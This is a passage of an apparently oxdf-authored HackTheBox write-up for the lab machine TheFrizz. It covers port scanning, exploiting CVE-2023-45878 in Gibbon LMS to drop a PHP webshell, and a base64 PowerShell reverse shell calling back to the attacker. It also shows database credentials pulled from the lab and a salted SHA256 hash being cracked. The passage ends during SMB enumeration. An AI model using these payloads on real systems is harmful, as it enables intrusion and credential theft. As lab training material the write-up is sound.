HTB: TheFrizz

TheFrizz starts with a Gibbons learning management platform that has a file write vulnerability that allows me to write a webshell and get a foothold on the box. I’ll grab a hash and salt from the database and crack that to move to the next user, connecting over SSH using Kerberos for auth. I’ll find an archive files for a WAPT install in the RecycleBin, and recover that to get a password for the next user. That user can edit group policy objects (GPOs), which I’ll abuse to get a shell as SYSTEM.
Box Info
Name | TheFrizz ![]() Play on HackTheBox |
---|---|
Release Date | 15 Mar 2025 |
Retire Date | 23 Aug 2025 |
OS | Windows ![]() |
Base Points | Medium [30] |
Rated Difficulty | ![]() |
Radar Graph | ![]() |
![]() |
01:09:36 |
![]() |
02:24:01 |
Creator |
Recon
nmap
nmap
finds man open TCP ports:
oxdf@hacky$ nmap -p- --min-rate 10000 10.10.11.60
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-07 20:10 UTC
Nmap scan report for 10.10.11.60
Host is up (0.15s latency).
Not shown: 65516 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
9389/tcp open adws
49664/tcp open unknown
49668/tcp open unknown
49670/tcp open unknown
49677/tcp open unknown
57981/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 20.59 seconds
oxdf@hacky$ nmap -p 22,53,80,88,135,139,389,445,464,593,636,3268,3269,9389 -sCV 10.10.11.60
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-07 20:11 UTC
Nmap scan report for 10.10.11.60
Host is up (0.088s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH for_Windows_8.1 (protocol 2.0)
| ssh-hostkey:
| 3072 bb:0a:a2:1b:fc:7e:6e:3b:40:bb:e0:46:6a:b5:04:83 (RSA)
| 256 13:fc:a8:64:a2:84:9b:7c:71:75:a0:9d:e6:61:9c:64 (ECDSA)
|_ 256 1b:7c:c9:69:18:90:f3:15:06:a9:85:11:71:45:96:8b (ED25519)
53/tcp open domain Simple DNS Plus
80/tcp open http Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.2.12)
|_http-title: Did not follow redirect to http://frizzdc.frizz.htb/home/
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-03-08 03:12:16Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
9389/tcp open mc-nmf .NET Message Framing
Service Info: Hosts: localhost, FRIZZDC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2025-03-08T03:12:29
|_ start_date: N/A
|_clock-skew: 7h00m18s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 91.76 seconds
There’s a few things to note:
-
SSH (22) is interesting for a Windows machine. If I get creds, I’ll be sure to check for a shell.
-
DNS (53) + Kerberos (88) + LDAP (389, 3268, etc) suggest a domain controller.
-
The webserver is redirecting to
frizzdc.frizz.htb
. The LDAP ports are also showing thefrizz.htb
domain. I’ll fuzz the webserver for any subdomains offrizz.htb
andfrizzdc.frizz.htb
that respond differently, but not find any. I’ll usenetexec
to generate an entry for myhosts
file:oxdf@hacky$ netexec smb frizzdc.frizz.htb --generate-hosts-file hosts SMB 10.10.11.60 445 frizzdc x64 (name:frizzdc) (domain:frizz.htb) (signing:True) (SMBv1:False) (NTLM:False) oxdf@hacky$ cat hosts /etc/hosts | sudo sponge /etc/hosts oxdf@hacky$ head -1 /etc/hosts 10.10.11.60 frizzdc.frizz.htb frizz.htb frizzdc
The order matters here, as I’ll talk about below.
-
The clock skew is off by seven hours from my host. I’ll keep that in mind if I go for any Kerberos attacks or auth.
Website - TCP 80
Site
The site is for the Walkerville Elementary School:
Most of the links go to other places on the page. There’s a link at the top right to “Pricing” that leads to /pricing.html
. There’s nothing interesting on this page.
The “Staff Login” button goes to /Gibbon-LMS/
, which is the login page for an instance of Gibbon, a educational platform:

Tech Stack
Most of the site seems to use .html
extensions, suggesting a static site. However, /Gibbon-LMS/
is an instance of Gibbon, which runs on PHP (loading /Gibbon-LMS/index.php
works). The footer says Gibbon is version v25.0.00.
The 404 page (both inside the Gibbon folder and at the root) is the default Apache 404:

Directory Brute Force
I’ll run feroxbuster
against the site, giving it a lowercase wordlist as it is Windows and isn’t case-sensitive:
oxdf@hacky$ feroxbuster -u http://frizzdc.frizz.htb --dont-extract-links -w /opt/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://frizzdc.frizz.htb
🚀 Threads │ 50
📖 Wordlist │ /opt/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 9l 33w 303c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403 GET 9l 30w 306c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
302 GET 9l 28w 321c http://frizzdc.frizz.htb/ => http://frizzdc.frizz.htb/home/
301 GET 9l 30w 345c http://frizzdc.frizz.htb/home => http://frizzdc.frizz.htb/home/
301 GET 9l 30w 352c http://frizzdc.frizz.htb/home/images => http://frizzdc.frizz.htb/home/images/
301 GET 9l 30w 348c http://frizzdc.frizz.htb/home/js => http://frizzdc.frizz.htb/home/js/
301 GET 9l 30w 349c http://frizzdc.frizz.htb/home/css => http://frizzdc.frizz.htb/home/css/
301 GET 9l 30w 351c http://frizzdc.frizz.htb/home/fonts => http://frizzdc.frizz.htb/home/fonts/
[####################] - 6m 159504/159504 0s found:6 errors:9218
[####################] - 5m 26584/26584 91/s http://frizzdc.frizz.htb/
[####################] - 5m 26584/26584 81/s http://frizzdc.frizz.htb/home/
[####################] - 6m 26584/26584 80/s http://frizzdc.frizz.htb/home/images/
[####################] - 5m 26584/26584 83/s http://frizzdc.frizz.htb/home/js/
[####################] - 5m 26584/26584 82/s http://frizzdc.frizz.htb/home/css/
[####################] - 6m 26584/26584 80/s http://frizzdc.frizz.htb/home/fonts/
It doesn’t find anything I don’t already know about.
SMB - TCP 445
netexec
shows that NTLM is disabled, and it doesn’t call out the guest account (which I’ve configured it to check using this new feature):
oxdf@hacky$ netexec smb 10.10.11.60
SMB 10.10.11.60 445 frizzdc x64 (name:frizzdc) (domain:frizz.htb) (signing:True) (SMBv1:False) (NTLM:False)
Because NTLM is disabled, any attempt to authenticate with it returns STATUS_NOT_SUPPORTED
:
oxdf@hacky$ netexec smb 10.10.11.60 -u guest -p '' --shares
SMB 10.10.11.60 445 10.10.11.60 x64 (name:10.10.11.60) (domain:10.10.11.60) (signing:True) (SMBv1:False)
SMB 10.10.11.60 445 10.10.11.60 [-] 10.10.11.60\guest: STATUS_NOT_SUPPORTED
oxdf@hacky$ netexec smb 10.10.11.60 -u oxdf -p '' --shares
SMB 10.10.11.60 445 10.10.11.60 x64 (name:10.10.11.60) (domain:10.10.11.60) (signing:True) (SMBv1:False)
SMB 10.10.11.60 445 10.10.11.60 [-] 10.10.11.60\oxdf: STATUS_NOT_SUPPORTED
I can try with -k
, but it fails unsurprisingly without legit creds:
oxdf@hacky$ netexec smb frizzdc.frizz.htb -u guest -p '' -k
SMB frizzdc.frizz.htb 445 frizzdc x64 (name:frizzdc) (domain:frizz.htb) (signing:True) (SMBv1:False)
SMB frizzdc.frizz.htb 445 frizzdc [-] frizz.htb\guest: KDC_ERR_CLIENT_REVOKED
oxdf@hacky$ netexec smb frizzdc.frizz.htb -u oxdf -p '' -k
SMB frizzdc.frizz.htb 445 frizzdc x64 (name:frizzdc) (domain:frizz.htb) (signing:True) (SMBv1:False)
SMB frizzdc.frizz.htb 445 frizzdc [-] frizz.htb\oxdf: KDC_ERR_C_PRINCIPAL_UNKNOWN
I’ll need creds to continue here.
Shell as w.webservice
Identify CVE-2023-45878
Searching for “gibbon v25.0.00 cve” returns a bunch of different CVEs:

There’s a bunch of vulnerabilities including LFI and XSS to look at here, but the one that jumps out as most interesting is CVE-2023-45878, as it allows for unauthenticated RCE:
GibbonEdu Gibbon version 25.0.1 and before allows Arbitrary File Write because rubrics_visualise_saveAjax.phps does not require authentication. The endpoint accepts the img, path, and gibbonPersonID parameters. The img parameter is expected to be a base64 encoded image. If the path parameter is set, the defined path is used as the destination folder, concatenated with the absolute path of the installation directory. The content of the img parameter is base64 decoded and written to the defined file path. This allows creation of PHP files that permit Remote Code Execution (unauthenticated).
CVE-2023-45878 Details
This post from usd HeroLab goes into details about how this vulnerability works. There is a PHP page in the Rubrics module, rubrics_visualise_saveAjax.php
that can be accessed by unauthenticated users.
There are two POST parameters in this code that are important to the exploit, img
and path
. Both are loaded in code on line 22 of the source:
$img = $_POST['img'] ?? null;
$imgPath = $_POST['path'] ?? null;
For the img
parameter, it is expecting something similar to the data URI scheme, but this one includes a name as well:
[mime type];[name],[base64 encoded image]
image/png;asdf,iVBORw0KGgoAAAANSUhEUgAAA...
On lines 32-34 it splits the parameter on ;
and then ,
, and then base64-decodes:
list($type, $img) = explode(';', $img);
list(, $img) = explode(',', $img);
$img = base64_decode($img);
On lines 49-51 it writes that raw image to a file based on the path
input:
$fp = fopen($absolutePath.'/'.$imgPath, 'w');
fwrite($fp, $img);
fclose($fp);
There’s no validating that what was decoded is an image, or doesn’t have PHP code in it.
File Write POC
This file is present and accessible on TheFrizz:
oxdf@hacky$ curl -v http://frizzdc.frizz.htb/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php
* Host frizzdc.frizz.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.10.11.60
* Trying 10.10.11.60:80...
* Connected to frizzdc.frizz.htb (10.10.11.60) port 80
> GET /Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php HTTP/1.1
> Host: frizzdc.frizz.htb
> User-Agent: curl/8.5.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Sat, 08 Mar 2025 04:22:07 GMT
< Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
< Set-Cookie: G60fa1cd0af7be78b=19g945f9oqbf0k3feeffl5cr2i; path=/; HttpOnly; SameSite=Lax
< X-Frame-Options: SAMEORIGIN
< Pragma: no-cache
< Cache-Control: max-age=0, no-cache, no-store, must-revalidate
< Expires: Thu, 1 Jan 1970 00:00:00 GMT
< Content-Length: 0
< Content-Type: text/html; charset=UTF-8
<
* Connection #0 to host frizzdc.frizz.htb left intact
I’ll create some base64-encoded data:
oxdf@hacky$ echo '0xdf was here!' | base64
MHhkZiB3YXMgaGVyZSEK
Now I’ll POST in the format described above, including a gibbonPersonID
(or it won’t work):
oxdf@hacky$ curl http://frizzdc.frizz.htb/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php -d 'img=image/png;0xdf,MHhkZiB3YXMgaGVyZSEK&path=poc.php&gibbonPersonID=0000000001'
poc.php
It works:
oxdf@hacky$ curl http://frizzdc.frizz.htb/Gibbon-LMS/poc.php
0xdf was here!
Webshell
I’ll create a new base64-encoded payload that is a PHP webshell:
oxdf@hacky$ echo '<?php system($_GET["cmd"]); ?>' | base64
PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyAgPz4K
I’ve added some spaces to get rid of any characters that might require encoding. Now I’ll upload this, updating the path
and img
parameters:
oxdf@hacky$ curl http://frizzdc.frizz.htb/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php -d 'img=image/png;0xdf,PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyAgPz4K&path=0xdf.php&gibbonPersonID=0000000001'
0xdf.php
It works:
oxdf@hacky$ curl http://frizzdc.frizz.htb/Gibbon-LMS/0xdf.php?cmd=whoami
frizz\w.webservice
Shell
I’ll grab a PowerShell #3 (Base64) shell from revshells.com. I’ll give it URL Encoding, and paste the result into the webshell:
oxdf@hacky$ curl 'http://frizzdc.frizz.htb/Gibbon-LMS/0xdf.php?cmd=powershell%20-e%20JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4ANwA5ACIALAA0ADQAMwApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA%2BACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA%2BACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA%3D'
In another terminal, at nc
, there’s a shell:
oxdf@hacky$ sudo rlwrap -cAr nc -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.60 64273
PS C:\xampp\htdocs\Gibbon-LMS>
I’m using rlwrap
to get a more solid shell on Windows.
Shell as f.frizzle
Enumeration
Home Directories
w.webservice
does have a home directory in C:\Users\
, but it’s very empty. Interestingly, this user can’t list directories in C:\Users
:
PS C:\Users> ls
PS C:\Users> ls 2>&1
ls : Access to the path 'C:\Users' is denied.
At line:1 char:1
+ ls 2>&1
+ ~~~~~~~
+ CategoryInfo : PermissionDenied: (C:\Users:String) [Get-ChildItem], UnauthorizedAccessException
+ FullyQualifiedErrorId : DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand
WebServer
There website is hosted from C:\xampp\htdocs
:
PS C:\xampp\htdocs> ls
Directory: C:\xampp\htdocs
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 3/7/2025 8:43 PM Gibbon-LMS
d----- 2/25/2025 1:09 PM home
home
has just static pages as suspected.
In Gibbon-LMS
there’s a config.php
file with the database connection information:
PS C:\xampp\htdocs\Gibbon-LMS> type config.php
...[snip]...
$databaseServer = 'localhost';
$databaseUsername = 'MrGibbonsDB';
$databasePassword = 'MisterGibbs!Parrot!?1';
$databaseName = 'gibbon';
...[snip]...
Database
In C:\xampp\mysql\bin
there’s a mysql.exe
file. From this shell, I can’t get an interactive session with it, but I can run single commands:
PS C:\> \xampp\mysql\bin\mysql.exe -uMrGibbonsDB -p"MisterGibbs!Parrot!?1" -e "SHOW DATABASES;"
Database
gibbon
information_schema
test
The test
database doesn’t have any tables, but the gibbon
one has a ton:
PS C:\> \xampp\mysql\bin\mysql.exe -uMrGibbonsDB -p"MisterGibbs!Parrot!?1" test -e "SHOW TABLES;"
PS C:\> \xampp\mysql\bin\mysql.exe -uMrGibbonsDB -p"MisterGibbs!Parrot!?1" gibbon -e "SHOW TABLES;"
Tables_in_gibbon
gibbonaction
gibbonactivity
gibbonactivityattendance
gibbonactivityslot
gibbonactivitystaff
gibbonactivitystudent
gibbonactivitytype
gibbonadmissionsaccount
gibbonadmissionsapplication
gibbonalarm
gibbonalarmconfirm
gibbonalertlevel
gibbonapplicationform
gibbonapplicationformfile
gibbonapplicationformlink
gibbonapplicationformrelationship
gibbonattendancecode
gibbonattendancelogcourseclass
gibbonattendancelogformgroup
gibbonattendancelogperson
gibbonbehaviour
gibbonbehaviourletter
gibboncountry
gibboncourse
gibboncourseclass
gibboncourseclassmap
gibboncourseclassperson
gibboncrowdassessdiscuss
gibboncustomfield
gibbondataretention
gibbondaysofweek
gibbondepartment
gibbondepartmentresource
gibbondepartmentstaff
gibbondiscussion
gibbondistrict
gibbonemailtemplate
gibbonexternalassessment
gibbonexternalassessmentfield
gibbonexternalassessmentstudent
gibbonexternalassessmentstudententry
gibbonfamily
gibbonfamilyadult
gibbonfamilychild
gibbonfamilyrelationship
gibbonfamilyupdate
gibbonfileextension
gibbonfinancebillingschedule
gibbonfinancebudget
gibbonfinancebudgetcycle
gibbonfinancebudgetcycleallocation
gibbonfinancebudgetperson
gibbonfinanceexpense
gibbonfinanceexpenseapprover
gibbonfinanceexpenselog
gibbonfinancefee
gibbonfinancefeecategory
gibbonfinanceinvoice
gibbonfinanceinvoicee
gibbonfinanceinvoiceeupdate
gibbonfinanceinvoicefee
gibbonfirstaid
gibbonfirstaidfollowup
gibbonform
gibbonformfield
gibbonformgroup
gibbonformpage
gibbonformsubmission
gibbonformupload
gibbongroup
gibbongroupperson
gibbonhook
gibbonhouse
gibboni18n
gibbonin
gibboninarchive
gibboninassistant
gibbonindescriptor
gibbonininvestigation
gibbonininvestigationcontribution
gibboninpersondescriptor
gibboninternalassessmentcolumn
gibboninternalassessmententry
gibbonlanguage
gibbonlibraryitem
gibbonlibraryitemevent
gibbonlibrarytype
gibbonlog
gibbonmarkbookcolumn
gibbonmarkbookentry
gibbonmarkbooktarget
gibbonmarkbookweight
gibbonmedicalcondition
gibbonmessenger
gibbonmessengercannedresponse
gibbonmessengerreceipt
gibbonmessengertarget
gibbonmigration
gibbonmodule
gibbonnotification
gibbonnotificationevent
gibbonnotificationlistener
gibbonoutcome
gibbonpayment
gibbonpermission
gibbonperson
gibbonpersonaldocument
gibbonpersonaldocumenttype
gibbonpersonmedical
gibbonpersonmedicalcondition
gibbonpersonmedicalconditionupdate
gibbonpersonmedicalupdate
gibbonpersonreset
gibbonpersonstatuslog
gibbonpersonupdate
gibbonplannerentry
gibbonplannerentrydiscuss
gibbonplannerentryguest
gibbonplannerentryhomework
gibbonplannerentryoutcome
gibbonplannerentrystudenthomework
gibbonplannerentrystudenttracker
gibbonplannerparentweeklyemailsummary
gibbonreport
gibbonreportarchive
gibbonreportarchiveentry
gibbonreportingaccess
gibbonreportingcriteria
gibbonreportingcriteriatype
gibbonreportingcycle
gibbonreportingprogress
gibbonreportingproof
gibbonreportingscope
gibbonreportingvalue
gibbonreportprototypesection
gibbonreporttemplate
gibbonreporttemplatefont
gibbonreporttemplatesection
gibbonresource
gibbonresourcetag
gibbonrole
gibbonrubric
gibbonrubriccell
gibbonrubriccolumn
gibbonrubricentry
gibbonrubricrow
gibbonscale
gibbonscalegrade
gibbonschoolyear
gibbonschoolyearspecialday
gibbonschoolyearterm
gibbonsession
gibbonsetting
gibbonspace
gibbonspaceperson
gibbonstaff
gibbonstaffabsence
gibbonstaffabsencedate
gibbonstaffabsencetype
gibbonstaffapplicationform
gibbonstaffapplicationformfile
gibbonstaffcontract
gibbonstaffcoverage
gibbonstaffcoveragedate
gibbonstaffduty
gibbonstaffdutyperson
gibbonstaffjobopening
gibbonstaffupdate
gibbonstring
gibbonstudentenrolment
gibbonstudentnote
gibbonstudentnotecategory
gibbonsubstitute
gibbontheme
gibbontt
gibbonttcolumn
gibbonttcolumnrow
gibbonttday
gibbonttdaydate
gibbonttdayrowclass
gibbonttdayrowclassexception
gibbonttimport
gibbonttspacebooking
gibbonttspacechange
gibbonunit
gibbonunitblock
gibbonunitclass
gibbonunitclassblock
gibbonunitoutcome
gibbonusernameformat
gibbonyeargroup
The table with users in it is gibbonperson
. It’s got a ton of columns:
PS C:\> \xampp\mysql\bin\mysql.exe -uMrGibbonsDB -p"MisterGibbs!Parrot!?1" gibbon -e "describe gibbonperson;"
Field Type Null Key Default Extra
gibbonPersonID int(10) unsigned zerofill NO PRI NULL auto_increment
title varchar(5) NO NULL
surname varchar(60) NO
firstName varchar(60) NO
preferredName varchar(60) NO
officialName varchar(150) NO NULL
nameInCharacters varchar(60) NO NULL
gender enum('M','F','Other','Unspecified') NO Unspecified
username varchar(20) NO UNI NULL
passwordStrong varchar(255) NO NULL
passwordStrongSalt varchar(255) NO NULL
passwordForceReset enum('N','Y') NO N
status enum('Full','Expected','Left','Pending Approval') NO Full
canLogin enum('Y','N') NO Y
gibbonRoleIDPrimary int(3) unsigned zerofill NO NULL
gibbonRoleIDAll varchar(255) NO NULL
dob date YES NULL
email varchar(75) YES NULL
emailAlternate varchar(75) YES NULL
image_240 varchar(255) YES NULL
lastIPAddress varchar(15) NO
lastTimestamp timestamp YES NULL
lastFailIPAddress varchar(15) YES NULL
lastFailTimestamp timestamp YES NULL
failCount int(1) YES 0
address1 mediumtext NO NULL
address1District varchar(255) NO NULL
address1Country varchar(255) NO NULL
address2 mediumtext NO NULL
address2District varchar(255) NO NULL
address2Country varchar(255) NO NULL
phone1Type enum('','Mobile','Home','Work','Fax','Pager','Other') NO
phone1CountryCode varchar(7) NO NULL
phone1 varchar(20) NO NULL
phone3Type enum('','Mobile','Home','Work','Fax','Pager','Other') NO
phone3CountryCode varchar(7) NO NULL
phone3 varchar(20) NO NULL
phone2Type enum('','Mobile','Home','Work','Fax','Pager','Other') NO
phone2CountryCode varchar(7) NO NULL
phone2 varchar(20) NO NULL
phone4Type enum('','Mobile','Home','Work','Fax','Pager','Other') NO
phone4CountryCode varchar(7) NO NULL
phone4 varchar(20) NO NULL
website varchar(255) NO NULL
languageFirst varchar(30) NO NULL
languageSecond varchar(30) NO NULL
languageThird varchar(30) NO NULL
countryOfBirth varchar(30) NO NULL
birthCertificateScan varchar(255) NO NULL
ethnicity varchar(255) NO NULL
religion varchar(30) NO NULL
profession varchar(90) NO NULL
employer varchar(90) NO NULL
jobTitle varchar(90) NO NULL
emergency1Name varchar(90) NO NULL
emergency1Number1 varchar(30) NO NULL
emergency1Number2 varchar(30) NO NULL
emergency1Relationship varchar(30) NO NULL
emergency2Name varchar(90) NO NULL
emergency2Number1 varchar(30) NO NULL
emergency2Number2 varchar(30) NO NULL
emergency2Relationship varchar(30) NO NULL
gibbonHouseID int(3) unsigned zerofill YES NULL
studentID varchar(15) NO NULL
dateStart date YES NULL
dateEnd date YES NULL
gibbonSchoolYearIDClassOf int(3) unsigned zerofill YES NULL
lastSchool varchar(100) NO NULL
nextSchool varchar(100) NO NULL
departureReason varchar(50) NO NULL
transport varchar(255) NO NULL
transportNotes text NO NULL
calendarFeedPersonal text NO NULL
viewCalendarSchool enum('Y','N') NO Y
viewCalendarPersonal enum('Y','N') NO Y
viewCalendarSpaceBooking enum('Y','N') NO N
gibbonApplicationFormID int(12) unsigned zerofill YES NULL
lockerNumber varchar(20) NO NULL
vehicleRegistration varchar(20) NO NULL
personalBackground varchar(255) NO NULL
messengerLastRead datetime YES NULL
privacy text YES NULL
dayType varchar(255) YES NULL
gibbonThemeIDPersonal int(4) unsigned zerofill YES NULL
gibboni18nIDPersonal int(4) unsigned zerofill YES NULL
studentAgreements text YES NULL
googleAPIRefreshToken text NO NULL
microsoftAPIRefreshToken text NO NULL
genericAPIRefreshToken text NO NULL
receiveNotificationEmails enum('Y','N') NO Y
mfaSecret varchar(16) YES NULL
mfaToken text YES NULL
cookieConsent enum('Y','N') YES NULL
fields text NO NULL
I’ll grab the username
, passwordStrong
, and passwordStrongSalt
fields:
PS C:\> \xampp\mysql\bin\mysql.exe -uMrGibbonsDB -p"MisterGibbs!Parrot!?1" gibbon -e "select username,passwordStrong,passwordStrongSalt from gibbonperson;"
username passwordStrong passwordStrongSalt
f.frizzle 067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03 /aACFhikmNopqrRTVz2489
Crack Hash
Format Hash
The hash is 64 hex characters, which is likely salted SHA256. hashcat
can take this in the format <hash>:<salt>
. If I pass that, autodetect will identify several formats:
$ cat f.frizzle.hash
067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03:/aACFhikmNopqrRTVz2489
$ hashcat f.frizzle.hash /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
hashcat (v6.2.6) starting in autodetect mode
...[snip]...
The following 12 hash-modes match the structure of your input hash:
# | Name | Category
======+============================================================+======================================
1410 | sha256($pass.$salt) | Raw Hash salted and/or iterated
1420 | sha256($salt.$pass) | Raw Hash salted and/or iterated
22300 | sha256($salt.$pass.$salt) | Raw Hash salted and/or iterated
20720 | sha256($salt.sha256($pass)) | Raw Hash salted and/or iterated
21420 | sha256($salt.sha256_bin($pass)) | Raw Hash salted and/or iterated
1440 | sha256($salt.utf16le($pass)) | Raw Hash salted and/or iterated
20710 | sha256(sha256($pass).$salt) | Raw Hash salted and/or iterated
1430 | sha256(utf16le($pass).$salt) | Raw Hash salted and/or iterated
1450 | HMAC-SHA256 (key = $pass) | Raw Hash authenticated
1460 | HMAC-SHA256 (key = $salt) | Raw Hash authenticated
11750 | HMAC-Streebog-256 (key = $pass), big-endian | Raw Hash authenticated
11760 | HMAC-Streebog-256 (key = $salt), big-endian | Raw Hash authenticated
Please specify the hash-mode with -m [hash-mode].
...[snip]...
It is reading in <hash>:<salt>
, but it needs to know how to combine those when hashing. I could just start trying these, as it will run rockyou.txt
in less than 10 seconds on my machine. Still, it’s more interesting to see how to figure this out using the source.
Searching the repo for “passwordstrong” returns the answer:
.
in PHP is used to concatenate strings. So it’s hashing <salt><password>
, which is mode 1420 above.
Crack
Running in this mode cracks the hash in seconds:
$ hashcat f.frizzle.hash /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt -m 1420
hashcat (v6.2.6) starting
...[snip]...
067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03:/aACFhikmNopqrRTVz2489:Jenni_Luvs_Magic23
...[snip]...
SMB
I’ll try these creds over netexec
, but they fail just as above:
oxdf@hacky$ netexec smb frizzdc.frizz.htb -u f.frizzle -p 'Jenni_Luvs_Magic23'
SMB 10.10.11.60 445 frizzdc x64 (name:frizzdc) (domain:frizz.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB 10.10.11.60 445 frizzdc [-] frizz.htb\f.frizzle:Jenni_Luvs_Magic23 STATUS_NOT_SUPPORTED
With -k
, it complains about the clock skew:
oxdf@hacky$ netexec smb frizzdc.frizz.htb -u f.frizzle -p 'Jenni_Luvs_Magic23' -k
SMB frizzdc.frizz.htb 445 frizzdc x64 (name:frizzdc) (domain:frizz.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB frizzdc.frizz.htb 445 frizzdc [-] frizz.htb\f.frizzle:Jenni_Luvs_Magic23 KRB_AP_ERR_SKEW
I’ll update the time, and it works:
oxdf@hacky$ sudo ntpdate frizzdc.frizz.htb
2025-08-20 22:57:11.461359 (+0000) +25417.188962 +/- 0.046781 frizzdc.frizz.htb 10.10.11.60 s1 no-leap
CLOCK: time stepped by 25417.188962
oxdf@hacky$ netexec smb frizzdc.frizz.htb -u f.frizzle -p 'Jenni_Luvs_Magic23' -k
SMB frizzdc.frizz.htb 445 frizzdc x64 (name:frizzdc) (domain:frizz.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB frizzdc.frizz.htb 445 frizzdc [+] frizz.htb\f.frizzle:Jenni_Luvs_Magic23
The box exposes the standard DC shares:
oxdf@hacky$ netexec smb frizzdc.frizz.htb -u f.frizzle -p 'Jenni_Luvs_Magic23' -k --shares
SMB frizzdc.frizz.htb 445 frizzdc x64 (name:frizzdc) (domain:frizz.htb) (signing:True) (SMBv1:False) (NTLM:False)
